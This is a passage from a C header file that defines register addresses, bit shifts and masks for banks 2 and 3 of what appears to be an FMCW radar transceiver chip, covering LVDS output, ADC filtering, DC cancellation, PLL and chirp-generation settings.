#define RADIO_BK2_LVDS_CLK_EN_SHIFT 6
#define RADIO_BK2_LVDS_CLK_EN_MASK 0x1
#define RADIO_BK2_LVDS_FRAME 0x13
#define RADIO_BK2_LVDS_FRAME_DELAY_SEL_SHIFT 0
#define RADIO_BK2_LVDS_FRAME_DELAY_SEL_MASK 0x7
#define RADIO_BK2_LVDS_FRAME_CUR_SEL_SHIFT 3
#define RADIO_BK2_LVDS_FRAME_CUR_SEL_MASK 0x3
#define RADIO_BK2_LVDS_FRAME_PRE_EN_SHIFT 5
#define RADIO_BK2_LVDS_FRAME_PRE_EN_MASK 0x1
#define RADIO_BK2_LVDS_FRAME_EN_SHIFT 6
#define RADIO_BK2_LVDS_FRAME_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST0 0x14
#define RADIO_BK2_LVDS_TEST0_PRBS_TEST_EN_SHIFT 0
#define RADIO_BK2_LVDS_TEST0_PRBS_TEST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST0_LVDS_INPUT_ADC_TESTSEL_SHIFT 1
#define RADIO_BK2_LVDS_TEST0_LVDS_INPUT_ADC_TESTSEL_MASK 0x1
#define RADIO_BK2_LVDS_TEST0_LVDS_FRM_CUR_BOOST_EN_SHIFT 2
#define RADIO_BK2_LVDS_TEST0_LVDS_FRM_CUR_BOOST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST0_LVDS_CLK_CUR_BOOST_EN_SHIFT 3
#define RADIO_BK2_LVDS_TEST0_LVDS_CLK_CUR_BOOST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST0_LVDS_CH3_CUR_BOOST_EN_SHIFT 4
#define RADIO_BK2_LVDS_TEST0_LVDS_CH3_CUR_BOOST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST0_LVDS_CH2_CUR_BOOST_EN_SHIFT 5
#define RADIO_BK2_LVDS_TEST0_LVDS_CH2_CUR_BOOST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST0_LVDS_CH1_CUR_BOOST_EN_SHIFT 6
#define RADIO_BK2_LVDS_TEST0_LVDS_CH1_CUR_BOOST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST0_LVDS_CH0_CUR_BOOST_EN_SHIFT 7
#define RADIO_BK2_LVDS_TEST0_LVDS_CH0_CUR_BOOST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST1 0x15
#define RADIO_BK2_LVDS_TEST1_LVDS_CH1_VCM_SEL_SHIFT 0
#define RADIO_BK2_LVDS_TEST1_LVDS_CH1_VCM_SEL_MASK 0x7
#define RADIO_BK2_LVDS_TEST1_LVDS_CH1_TEST_EN_SHIFT 3
#define RADIO_BK2_LVDS_TEST1_LVDS_CH1_TEST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST1_LVDS_CH0_VCM_SEL_SHIFT 4
#define RADIO_BK2_LVDS_TEST1_LVDS_CH0_VCM_SEL_MASK 0x7
#define RADIO_BK2_LVDS_TEST1_LVDS_CH0_TEST_EN_SHIFT 7
#define RADIO_BK2_LVDS_TEST1_LVDS_CH0_TEST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST2 0x16
#define RADIO_BK2_LVDS_TEST2_LVDS_CH3_VCM_SEL_SHIFT 0
#define RADIO_BK2_LVDS_TEST2_LVDS_CH3_VCM_SEL_MASK 0x7
#define RADIO_BK2_LVDS_TEST2_LVDS_CH3_TEST_EN_SHIFT 3
#define RADIO_BK2_LVDS_TEST2_LVDS_CH3_TEST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST2_LVDS_CH2_VCM_SEL_SHIFT 4
#define RADIO_BK2_LVDS_TEST2_LVDS_CH2_VCM_SEL_MASK 0x7
#define RADIO_BK2_LVDS_TEST2_LVDS_CH2_TEST_EN_SHIFT 7
#define RADIO_BK2_LVDS_TEST2_LVDS_CH2_TEST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST3 0x17
#define RADIO_BK2_LVDS_TEST3_LVDS_FRM_VCM_SEL_SHIFT 0
#define RADIO_BK2_LVDS_TEST3_LVDS_FRM_VCM_SEL_MASK 0x7
#define RADIO_BK2_LVDS_TEST3_LVDS_FRM_TEST_EN_SHIFT 3
#define RADIO_BK2_LVDS_TEST3_LVDS_FRM_TEST_EN_MASK 0x1
#define RADIO_BK2_LVDS_TEST3_LVDS_CLK_VCM_SEL_SHIFT 4
#define RADIO_BK2_LVDS_TEST3_LVDS_CLK_VCM_SEL_MASK 0x7
#define RADIO_BK2_LVDS_TEST3_LVDS_CLK_TEST_EN_SHIFT 7
#define RADIO_BK2_LVDS_TEST3_LVDS_CLK_TEST_EN_MASK 0x1
#define RADIO_BK2_LVDS_LDO25 0x18
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_TURBO_SHIFT 0
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_TURBO_MASK 0x1
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_TEST_SEL_SHIFT 1
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_TEST_SEL_MASK 0x1
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_TEST_EN_SHIFT 2
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_TEST_EN_MASK 0x1
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_BYPASS_EN_SHIFT 3
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_BYPASS_EN_MASK 0x1
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_VSEL_SHIFT 4
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_VSEL_MASK 0x7
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_LDO_EN_SHIFT 7
#define RADIO_BK2_LVDS_LDO25_LDO25_LVDS_LDO_EN_MASK 0x1
#define RADIO_BK2_RCCAL 0x19
#define RADIO_BK2_RCCAL_PD_SHIFT 0
#define RADIO_BK2_RCCAL_PD_MASK 0x1
#define RADIO_BK2_RCCAL_START_SHIFT 1
#define RADIO_BK2_RCCAL_START_MASK 0x1
#define RADIO_BK2_RCCAL_VREFSEL_SHIFT 2
#define RADIO_BK2_RCCAL_VREFSEL_MASK 0x7
#define RADIO_BK2_RCCAL_CLK_5M_EN_SHIFT 5
#define RADIO_BK2_RCCAL_CLK_5M_EN_MASK 0x1
#define RADIO_BK2_RCCAL_OUT 0x1a
#define RADIO_BK2_RCCAL_OUT_RCCAL_COUNTER_SHIFT 0
#define RADIO_BK2_RCCAL_OUT_RCCAL_COUNTER_MASK 0x1f
#define RADIO_BK2_RCCAL_OUT_RCCAL_READY_SHIFT 5
#define RADIO_BK2_RCCAL_OUT_RCCAL_READY_MASK 0x1
#define RADIO_BK2_PRBS_7BITS 0x1b
#define RADIO_BK2_PRBS_7BITS_PRBS_RST_N_SHIFT 0
#define RADIO_BK2_PRBS_7BITS_PRBS_RST_N_MASK 0x1
#define RADIO_BK2_PRBS_7BITS_PRBS_SEED_SHIFT 1
#define RADIO_BK2_PRBS_7BITS_PRBS_SEED_MASK 0x7f
#define RADIO_BK2_DIV_CLK 0x1c
#define RADIO_BK2_DIV_CLK_FLTR_CLK_OUT_ENABLE_SHIFT 0
#define RADIO_BK2_DIV_CLK_FLTR_CLK_OUT_ENABLE_MASK 0x1
#define RADIO_BK2_DIV_CLK_FLTR_CLK_DIV_RATIO_SHIFT 1
#define RADIO_BK2_DIV_CLK_FLTR_CLK_DIV_RATIO_MASK 0x7f
#define RADIO_BK2_ADC_FILTER0 0x1d
#define RADIO_BK2_ADC_FILTER0_RSTN_SHIFT 0
#define RADIO_BK2_ADC_FILTER0_RSTN_MASK 0x1
#define RADIO_BK2_ADC_FILTER0_LVDS_OUT_EN_SHIFT 1
#define RADIO_BK2_ADC_FILTER0_LVDS_OUT_EN_MASK 0x1
#define RADIO_BK2_ADC_FILTER0_CMOS_OUT_EN_SHIFT 2
#define RADIO_BK2_ADC_FILTER0_CMOS_OUT_EN_MASK 0x1
#define RADIO_BK2_ADC_FILTER0_CLK_SEL_SHIFT 3
#define RADIO_BK2_ADC_FILTER0_CLK_SEL_MASK 0x1
#define RADIO_BK2_ADC_FILTER0_SPARE_EN_SHIFT 4
#define RADIO_BK2_ADC_FILTER0_SPARE_EN_MASK 0x1
#define RADIO_BK2_ADC_FILTER0_DAT_SFT_SEL_SHIFT 5
#define RADIO_BK2_ADC_FILTER0_DAT_SFT_SEL_MASK 0x7
#define RADIO_BK2_CH0_ADC_FILTER 0x1e
#define RADIO_BK2_CH0_ADC_FILTER_CH0_STAGE3_EN_SHIFT 0
#define RADIO_BK2_CH0_ADC_FILTER_CH0_STAGE3_EN_MASK 0x1
#define RADIO_BK2_CH0_ADC_FILTER_CH0_STAGE2_EN_SHIFT 1
#define RADIO_BK2_CH0_ADC_FILTER_CH0_STAGE2_EN_MASK 0x1
#define RADIO_BK2_CH0_ADC_FILTER_CH0_STAGE1_EN_SHIFT 2
#define RADIO_BK2_CH0_ADC_FILTER_CH0_STAGE1_EN_MASK 0x1
#define RADIO_BK2_CH0_ADC_FILTER_CH0_SPARE_SHIFT 3
#define RADIO_BK2_CH0_ADC_FILTER_CH0_SPARE_MASK 0x1
#define RADIO_BK2_CH0_ADC_FILTER_LVDS_SHIFT_SEL_SHIFT 4
#define RADIO_BK2_CH0_ADC_FILTER_LVDS_SHIFT_SEL_MASK 0x3
#define RADIO_BK2_CH1_ADC_FILTER 0x1f
#define RADIO_BK2_CH1_ADC_FILTER_CH1_STAGE3_EN_SHIFT 0
#define RADIO_BK2_CH1_ADC_FILTER_CH1_STAGE3_EN_MASK 0x1
#define RADIO_BK2_CH1_ADC_FILTER_CH1_STAGE2_EN_SHIFT 1
#define RADIO_BK2_CH1_ADC_FILTER_CH1_STAGE2_EN_MASK 0x1
#define RADIO_BK2_CH1_ADC_FILTER_CH1_STAGE1_EN_SHIFT 2
#define RADIO_BK2_CH1_ADC_FILTER_CH1_STAGE1_EN_MASK 0x1
#define RADIO_BK2_CH1_ADC_FILTER_CH1_SPARE_SHIFT 3
#define RADIO_BK2_CH1_ADC_FILTER_CH1_SPARE_MASK 0x1
#define RADIO_BK2_CH1_ADC_FILTER_BDW_SEL_SHIFT 4
#define RADIO_BK2_CH1_ADC_FILTER_BDW_SEL_MASK 0x3
#define RADIO_BK2_CH1_ADC_FILTER_CMOS_SYN_PHASE_SEL_SHIFT 6
#define RADIO_BK2_CH1_ADC_FILTER_CMOS_SYN_PHASE_SEL_MASK 0x3
#define RADIO_BK2_CH2_ADC_FILTER 0x20
#define RADIO_BK2_CH2_ADC_FILTER_CH2_STAGE3_EN_SHIFT 0
#define RADIO_BK2_CH2_ADC_FILTER_CH2_STAGE3_EN_MASK 0x1
#define RADIO_BK2_CH2_ADC_FILTER_CH2_STAGE2_EN_SHIFT 1
#define RADIO_BK2_CH2_ADC_FILTER_CH2_STAGE2_EN_MASK 0x1
#define RADIO_BK2_CH2_ADC_FILTER_CH2_STAGE1_EN_SHIFT 2
#define RADIO_BK2_CH2_ADC_FILTER_CH2_STAGE1_EN_MASK 0x1
#define RADIO_BK2_CH2_ADC_FILTER_CH2_SPARE_SHIFT 3
#define RADIO_BK2_CH2_ADC_FILTER_CH2_SPARE_MASK 0x1
#define RADIO_BK2_CH2_ADC_FILTER_SER_CH_SEL_SHIFT 4
#define RADIO_BK2_CH2_ADC_FILTER_SER_CH_SEL_MASK 0x7
#define RADIO_BK2_CH3_ADC_FILTER 0x21
#define RADIO_BK2_CH3_ADC_FILTER_CH3_STAGE3_EN_SHIFT 0
#define RADIO_BK2_CH3_ADC_FILTER_CH3_STAGE3_EN_MASK 0x1
#define RADIO_BK2_CH3_ADC_FILTER_CH3_STAGE2_EN_SHIFT 1
#define RADIO_BK2_CH3_ADC_FILTER_CH3_STAGE2_EN_MASK 0x1
#define RADIO_BK2_CH3_ADC_FILTER_CH3_STAGE1_EN_SHIFT 2
#define RADIO_BK2_CH3_ADC_FILTER_CH3_STAGE1_EN_MASK 0x1
#define RADIO_BK2_CH3_ADC_FILTER_CH3_SPARE_SHIFT 3
#define RADIO_BK2_CH3_ADC_FILTER_CH3_SPARE_MASK 0x1
#define RADIO_BK2_CH0_FILTER_DC_CANCEL_0 0x22
#define RADIO_BK2_CH0_FILTER_DC_CANCEL_0_SHIFT 0
#define RADIO_BK2_CH0_FILTER_DC_CANCEL_0_MASK 0xff
#define RADIO_BK2_CH0_FILTER_DC_CANCEL_1 0x23
#define RADIO_BK2_CH0_FILTER_DC_CANCEL_1_SHIFT 0
#define RADIO_BK2_CH0_FILTER_DC_CANCEL_1_MASK 0xff
#define RADIO_BK2_CH0_FILTER_DC_CANCEL_2 0x24
#define RADIO_BK2_CH0_FILTER_DC_CANCEL_2_SHIFT 0
#define RADIO_BK2_CH0_FILTER_DC_CANCEL_2_MASK 0x7f
#define RADIO_BK2_CH1_FILTER_DC_CANCEL_0 0x25
#define RADIO_BK2_CH1_FILTER_DC_CANCEL_0_SHIFT 0
#define RADIO_BK2_CH1_FILTER_DC_CANCEL_0_MASK 0xff
#define RADIO_BK2_CH1_FILTER_DC_CANCEL_1 0x26
#define RADIO_BK2_CH1_FILTER_DC_CANCEL_1_SHIFT 0
#define RADIO_BK2_CH1_FILTER_DC_CANCEL_1_MASK 0xff
#define RADIO_BK2_CH1_FILTER_DC_CANCEL_2 0x27
#define RADIO_BK2_CH1_FILTER_DC_CANCEL_2_SHIFT 0
#define RADIO_BK2_CH1_FILTER_DC_CANCEL_2_MASK 0x7f
#define RADIO_BK2_CH2_FILTER_DC_CANCEL_0 0x28
#define RADIO_BK2_CH2_FILTER_DC_CANCEL_0_SHIFT 0
#define RADIO_BK2_CH2_FILTER_DC_CANCEL_0_MASK 0xff
#define RADIO_BK2_CH2_FILTER_DC_CANCEL_1 0x29
#define RADIO_BK2_CH2_FILTER_DC_CANCEL_1_SHIFT 0
#define RADIO_BK2_CH2_FILTER_DC_CANCEL_1_MASK 0xff
#define RADIO_BK2_CH2_FILTER_DC_CANCEL_2 0x2a
#define RADIO_BK2_CH2_FILTER_DC_CANCEL_2_SHIFT 0
#define RADIO_BK2_CH2_FILTER_DC_CANCEL_2_MASK 0x7f
#define RADIO_BK2_CH3_FILTER_DC_CANCEL_0 0x2b
#define RADIO_BK2_CH3_FILTER_DC_CANCEL_0_SHIFT 0
#define RADIO_BK2_CH3_FILTER_DC_CANCEL_0_MASK 0xff
#define RADIO_BK2_CH3_FILTER_DC_CANCEL_1 0x2c
#define RADIO_BK2_CH3_FILTER_DC_CANCEL_1_SHIFT 0
#define RADIO_BK2_CH3_FILTER_DC_CANCEL_1_MASK 0xff
#define RADIO_BK2_CH3_FILTER_DC_CANCEL_2 0x2d
#define RADIO_BK2_CH3_FILTER_DC_CANCEL_2_SHIFT 0
#define RADIO_BK2_CH3_FILTER_DC_CANCEL_2_MASK 0x7f
#define RADIO_BK2_FILTER_GPIO 0x2e
#define RADIO_BK2_FILTER_GPIO_GPIO_EN_SHIFT 0
#define RADIO_BK2_FILTER_GPIO_GPIO_EN_MASK 0x1
#define RADIO_BK2_FILTER_GPIO_GPIO_SEL_SHIFT 1
#define RADIO_BK2_FILTER_GPIO_GPIO_SEL_MASK 0x3
#define RADIO_BK2_ADC_FILTER_SPARE0 0x2f
#define RADIO_BK2_ADC_FILTER_SPARE0_SHIFT 0
#define RADIO_BK2_ADC_FILTER_SPARE0_MASK 0xff
#define RADIO_BK2_ADC_FILTER_SPARE1 0x30
#define RADIO_BK2_ADC_FILTER_SPARE1_SHIFT 0
#define RADIO_BK2_ADC_FILTER_SPARE1_MASK 0xff
#define RADIO_BK2_ADC_FILTER_SPARE2 0x31
#define RADIO_BK2_ADC_FILTER_SPARE2_SHIFT 0
#define RADIO_BK2_ADC_FILTER_SPARE2_MASK 0xff
#define RADIO_BK2_REFPLL_SLTSIZE0 0x32
#define RADIO_BK2_REFPLL_SLTSIZE0_SHIFT 0
#define RADIO_BK2_REFPLL_SLTSIZE0_MASK 0xff
#define RADIO_BK2_REFPLL_SLTSIZE1 0x33
#define RADIO_BK2_REFPLL_SLTSIZE1_SHIFT 0
#define RADIO_BK2_REFPLL_SLTSIZE1_MASK 0xff
#define RADIO_BK2_FMCWPLL_SLTSIZE0 0x34
#define RADIO_BK2_FMCWPLL_SLTSIZE0_SHIFT 0
#define RADIO_BK2_FMCWPLL_SLTSIZE0_MASK 0xff
#define RADIO_BK2_FMCWPLL_SLTSIZE1 0x35
#define RADIO_BK2_FMCWPLL_SLTSIZE1_SHIFT 0
#define RADIO_BK2_FMCWPLL_SLTSIZE1_MASK 0xff
#define RADIO_BK2_FMCWPLL_SLTSIZE2 0x36
#define RADIO_BK2_FMCWPLL_SLTSIZE2_SHIFT 0
#define RADIO_BK2_FMCWPLL_SLTSIZE2_MASK 0xff
#define RADIO_BK2_FMCWPLL_SLTSIZE3 0x37
#define RADIO_BK2_FMCWPLL_SLTSIZE3_SHIFT 0
#define RADIO_BK2_FMCWPLL_SLTSIZE3_MASK 0xff
#define RADIO_BK2_DC_FILTER1_SHIFT0 0x38
#define RADIO_BK2_DC_FILTER1_SHIFT0_SHIFT 0
#define RADIO_BK2_DC_FILTER1_SHIFT0_MASK 0xff
#define RADIO_BK2_DC_FILTER1_SHIFT1 0x39
#define RADIO_BK2_DC_FILTER1_SHIFT1_SHIFT 0
#define RADIO_BK2_DC_FILTER1_SHIFT1_MASK 0xff
#define RADIO_BK2_DC_FILTER1_SHIFT2 0x3a
#define RADIO_BK2_DC_FILTER1_SHIFT2_SHIFT 0
#define RADIO_BK2_DC_FILTER1_SHIFT2_MASK 0x3
#define RADIO_BK2_DC_FILTER1_RST_EN 0x3b
#define RADIO_BK2_DC_FILTER1_RST_EN_SHIFT 0
#define RADIO_BK2_DC_FILTER1_RST_EN_MASK 0x1
#define RADIO_BK2_DC_FILTER2_SHIFT0 0x3c
#define RADIO_BK2_DC_FILTER2_SHIFT0_SHIFT 0
#define RADIO_BK2_DC_FILTER2_SHIFT0_MASK 0xff
#define RADIO_BK2_DC_FILTER2_SHIFT1 0x3d
#define RADIO_BK2_DC_FILTER2_SHIFT1_SHIFT 0
#define RADIO_BK2_DC_FILTER2_SHIFT1_MASK 0xff
#define RADIO_BK2_DC_FILTER2_SHIFT2 0x3e
#define RADIO_BK2_DC_FILTER2_SHIFT2_SHIFT 0
#define RADIO_BK2_DC_FILTER2_SHIFT2_MASK 0x3
#define RADIO_BK2_DC_FILTER2_RST_EN 0x3f
#define RADIO_BK2_DC_FILTER2_RST_EN_SHIFT 0
#define RADIO_BK2_DC_FILTER2_RST_EN_MASK 0x1
#define RADIO_BK2_DAC_EN 0x40
#define RADIO_BK2_DAC_EN_DAC_ENA_R_SHIFT 0
#define RADIO_BK2_DAC_EN_DAC_ENA_R_MASK 0x1
#define RADIO_BK2_DAC_EN_DAC_DIV_R_SHIFT 1
#define RADIO_BK2_DAC_EN_DAC_DIV_R_MASK 0x3
#define RADIO_BK2_DAC_EN_DAC_MUL_R_SHIFT 3
#define RADIO_BK2_DAC_EN_DAC_MUL_R_MASK 0x3
#define RADIO_BK2_SPARE_LDO11 0x41
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_TURBO_SHIFT 0
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_TURBO_MASK 0x1
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_TEST_SEL_SHIFT 1
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_TEST_SEL_MASK 0x1
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_TEST_EN_SHIFT 2
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_TEST_EN_MASK 0x1
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_BYPASS_EN_SHIFT 3
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_BYPASS_EN_MASK 0x1
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_VOUT_SEL_SHIFT 4
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_VOUT_SEL_MASK 0x7
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_EN_SHIFT 7
#define RADIO_BK2_SPARE_LDO11_LDO11_SPARE_EN_MASK 0x1
#define RADIO_BK2_ITF_SAT_SEL 0x42
#define RADIO_BK2_ITF_SAT_SEL_SHIFT 0
#define RADIO_BK2_ITF_SAT_SEL_MASK 0x3
#define RADIO_BK3_FMCW_HP_TAP0 0x1
#define RADIO_BK3_FMCW_HP_TAP0_SHIFT 0
#define RADIO_BK3_FMCW_HP_TAP0_MASK 0xff
#define RADIO_BK3_FMCW_HP_TAP1 0x2
#define RADIO_BK3_FMCW_HP_TAP1_SHIFT 0
#define RADIO_BK3_FMCW_HP_TAP1_MASK 0xff
#define RADIO_BK3_FMCW_HP_TAP2 0x3
#define RADIO_BK3_FMCW_HP_TAP2_SHIFT 0
#define RADIO_BK3_FMCW_HP_TAP2_MASK 0xff
#define RADIO_BK3_FMCW_HP_TAP3 0x4
#define RADIO_BK3_FMCW_HP_TAP3_SHIFT 0
#define RADIO_BK3_FMCW_HP_TAP3_MASK 0xff
#define RADIO_BK3_FMCW_HP_STATE0 0x5
#define RADIO_BK3_FMCW_HP_STATE0_SHIFT 0
#define RADIO_BK3_FMCW_HP_STATE0_MASK 0xff
#define RADIO_BK3_FMCW_HP_STATE1 0x6
#define RADIO_BK3_FMCW_HP_STATE1_SHIFT 0
#define RADIO_BK3_FMCW_HP_STATE1_MASK 0xff
#define RADIO_BK3_FMCW_HP_STATE2 0x7
#define RADIO_BK3_FMCW_HP_STATE2_SHIFT 0
#define RADIO_BK3_FMCW_HP_STATE2_MASK 0xff
#define RADIO_BK3_FMCW_HP_STATE3 0x8
#define RADIO_BK3_FMCW_HP_STATE3_SHIFT 0
#define RADIO_BK3_FMCW_HP_STATE3_MASK 0xff
#define RADIO_BK3_HP_RM 0x9
#define RADIO_BK3_HP_RM_SHIFT 0
#define RADIO_BK3_HP_RM_MASK 0x1
#define RADIO_BK3_FMCW_PS_TAP0 0xa
#define RADIO_BK3_FMCW_PS_TAP0_SHIFT 0
#define RADIO_BK3_FMCW_PS_TAP0_MASK 0xff
#define RADIO_BK3_FMCW_PS_TAP1 0xb
#define RADIO_BK3_FMCW_PS_TAP1_SHIFT 0
#define RADIO_BK3_FMCW_PS_TAP1_MASK 0xff
#define RADIO_BK3_FMCW_PS_TAP2 0xc
#define RADIO_BK3_FMCW_PS_TAP2_SHIFT 0
#define RADIO_BK3_FMCW_PS_TAP2_MASK 0xff
#define RADIO_BK3_FMCW_PS_TAP3 0xd
#define RADIO_BK3_FMCW_PS_TAP3_SHIFT 0
#define RADIO_BK3_FMCW_PS_TAP3_MASK 0xff
#define RADIO_BK3_FMCW_PS_STATE0 0xe
#define RADIO_BK3_FMCW_PS_STATE0_SHIFT 0
#define RADIO_BK3_FMCW_PS_STATE0_MASK 0xff
#define RADIO_BK3_FMCW_PS_STATE1 0xf
#define RADIO_BK3_FMCW_PS_STATE1_SHIFT 0
#define RADIO_BK3_FMCW_PS_STATE1_MASK 0xff
#define RADIO_BK3_FMCW_PS_STATE2 0x10
#define RADIO_BK3_FMCW_PS_STATE2_SHIFT 0
#define RADIO_BK3_FMCW_PS_STATE2_MASK 0xff
#define RADIO_BK3_FMCW_PS_STATE3 0x11
#define RADIO_BK3_FMCW_PS_STATE3_SHIFT 0
#define RADIO_BK3_FMCW_PS_STATE3_MASK 0xff
#define RADIO_BK3_PS_RM 0x12
#define RADIO_BK3_PS_RM_SHIFT 0
#define RADIO_BK3_PS_RM_MASK 0x1
#define RADIO_BK3_FMCW_CS_TAP0 0x13
#define RADIO_BK3_FMCW_CS_TAP0_SHIFT 0
#define RADIO_BK3_FMCW_CS_TAP0_MASK 0xff
#define RADIO_BK3_FMCW_CS_TAP1 0x14
#define RADIO_BK3_FMCW_CS_TAP1_SHIFT 0
#define RADIO_BK3_FMCW_CS_TAP1_MASK 0xff
#define RADIO_BK3_FMCW_CS_TAP2 0x15
#define RADIO_BK3_FMCW_CS_TAP2_SHIFT 0
#define RADIO_BK3_FMCW_CS_TAP2_MASK 0xff
#define RADIO_BK3_FMCW_CS_TAP3 0x16
#define RADIO_BK3_FMCW_CS_TAP3_SHIFT 0
#define RADIO_BK3_FMCW_CS_TAP3_MASK 0xff
#define RADIO_BK3_FMCW_CS_STATE0 0x17
#define RADIO_BK3_FMCW_CS_STATE0_SHIFT 0
#define RADIO_BK3_FMCW_CS_STATE0_MASK 0xff
#define RADIO_BK3_FMCW_CS_STATE1 0x18
#define RADIO_BK3_FMCW_CS_STATE1_SHIFT 0
#define RADIO_BK3_FMCW_CS_STATE1_MASK 0xff
#define RADIO_BK3_FMCW_CS_STATE2 0x19
#define RADIO_BK3_FMCW_CS_STATE2_SHIFT 0
#define RADIO_BK3_FMCW_CS_STATE2_MASK 0xff
#define RADIO_BK3_FMCW_CS_STATE3 0x1a
#define RADIO_BK3_FMCW_CS_STATE3_SHIFT 0
#define RADIO_BK3_FMCW_CS_STATE3_MASK 0xff
#define RADIO_BK3_CS_RM 0x1b
#define RADIO_BK3_CS_RM_SHIFT 0
#define RADIO_BK3_CS_RM_MASK 0x1
#define RADIO_BK3_FMCW_FIL0 0x1c
#define RADIO_BK3_FMCW_FIL0_SHIFT 0
#define RADIO_BK3_FMCW_FIL0_MASK 0xff
#define RADIO_BK3_FMCW_FIL1 0x1d
#define RADIO_BK3_FMCW_FIL1_SHIFT 0
#define RADIO_BK3_FMCW_FIL1_MASK 0xff
#define RADIO_BK3_FMCW_FIL2 0x1e
#define RADIO_BK3_FMCW_FIL2_SHIFT 0
#define RADIO_BK3_FMCW_FIL2_MASK 0xff
#define RADIO_BK3_FMCW_FIL3 0x1f
#define RADIO_BK3_FMCW_FIL3_SHIFT 0
#define RADIO_BK3_FMCW_FIL3_MASK 0xff
#define RADIO_BK3_FMCW_FIL_TIMER0 0x20
#define RADIO_BK3_FMCW_FIL_TIMER0_SHIFT 0
#define RADIO_BK3_FMCW_FIL_TIMER0_MASK 0xff
#define RADIO_BK3_FMCW_FIL_TIMER1 0x21
#define RADIO_BK3_FMCW_FIL_TIMER1_SHIFT 0
#define RADIO_BK3_FMCW_FIL_TIMER1_MASK 0xff
#define RADIO_BK3_FMCW_FIL_TIMER2 0x22
#define RADIO_BK3_FMCW_FIL_TIMER2_SHIFT 0
#define RADIO_BK3_FMCW_FIL_TIMER2_MASK 0xff
#define RADIO_BK3_FMCW_FIL_TIMER3 0x23
#define RADIO_BK3_FMCW_FIL_TIMER3_SHIFT 0
#define RADIO_BK3_FMCW_FIL_TIMER3_MASK 0xff
#define RADIO_BK3_FMCW_FIL_MULTI_EN 0x24
#define RADIO_BK3_FMCW_FIL_MULTI_EN_SHIFT 0
#define RADIO_BK3_FMCW_FIL_MULTI_EN_MASK 0x1
#define RADIO_BK3_FMCW_FIL_PRD 0x25
#define RADIO_BK3_FMCW_FIL_PRD_SHIFT 0
#define RADIO_BK3_FMCW_FIL_PRD_MASK 0xf
#define RADIO_BK3_FMCW_FIL_TYP 0x26
#define RADIO_BK3_FMCW_FIL_TYP_SHIFT 0
#define RADIO_BK3_FMCW_FIL_TYP_MASK 0xf
#define RADIO_BK3_FMCW_FIL_EN 0x27
#define RADIO_BK3_FMCW_FIL_EN_SHIFT 0
#define RADIO_BK3_FMCW_FIL_EN_MASK 0x1
#define RADIO_BK3_FMCW_SYNC_DLY 0x28
#define RADIO_BK3_FMCW_SYNC_DLY_SYNC_DLY_EN_SHIFT 0
#define RADIO_BK3_FMCW_SYNC_DLY_SYNC_DLY_EN_MASK 0x1
#define RADIO_BK3_FMCW_SYNC_DLY_SYNC_DLY_SIZE_SHIFT 1
#define RADIO_BK3_FMCW_SYNC_DLY_SYNC_DLY_SIZE_MASK 0x7f
#define RADIO_BK3_FMCW_SYNC 0x29
#define RADIO_BK3_FMCW_SYNC_EN_SHIFT 0
#define RADIO_BK3_FMCW_SYNC_EN_MASK 0x1
#define RADIO_BK3_FMCW_SYNC_SEL_SHIFT 1
#define RADIO_BK3_FMCW_SYNC_SEL_MASK 0x7
#define RADIO_BK3_FMCW_STATE_OUT_EN 0x2a
#define RADIO_BK3_FMCW_STATE_OUT_EN_STATE_UP_OUT_EN_SHIFT 0
#define RADIO_BK3_FMCW_STATE_OUT_EN_STATE_UP_OUT_EN_MASK 0x1
#define RADIO_BK3_FMCW_STATE_OUT_EN_STATE_IDLE_OUT_EN_SHIFT 1
#define RADIO_BK3_FMCW_STATE_OUT_EN_STATE_IDLE_OUT_EN_MASK 0x1
#define RADIO_BK3_FMCW_STATE_OUT_EN_STATE_DN_OUT_EN_SHIFT 2
#define RADIO_BK3_FMCW_STATE_OUT_EN_STATE_DN_OUT_EN_MASK 0x1
#define RADIO_BK3_FMCW_STATE_OUT_EN_REGS_BYPASS_EN_SHIFT 3
#define RADIO_BK3_FMCW_STATE_OUT_EN_REGS_BYPASS_EN_MASK 0x1
#define RADIO_BK3_FMCW_REGS_RDY 0x2b
#define RADIO_BK3_FMCW_REGS_RDY_SHIFT 0
#define RADIO_BK3_FMCW_REGS_RDY_MASK 0x1
#define RADIO_BK3_FMCW_MODE_SEL 0x2c
#define RADIO_BK3_FMCW_MODE_SEL_SHIFT 0
#define RADIO_BK3_FMCW_MODE_SEL_MASK 0x7
#define RADIO_BK3_FMCW_START 0x2d
#define RADIO_BK3_FMCW_START_START_SPI_SHIFT 0
#define RADIO_BK3_FMCW_START_START_SPI_MASK 0x1
#define RADIO_BK3_FMCW_START_START_SEL_SHIFT 1
#define RADIO_BK3_FMCW_START_START_SEL_MASK 0x1
#define RADIO_BK3_FMCW_START_RSTN_SDM_MASH_SHIFT 2
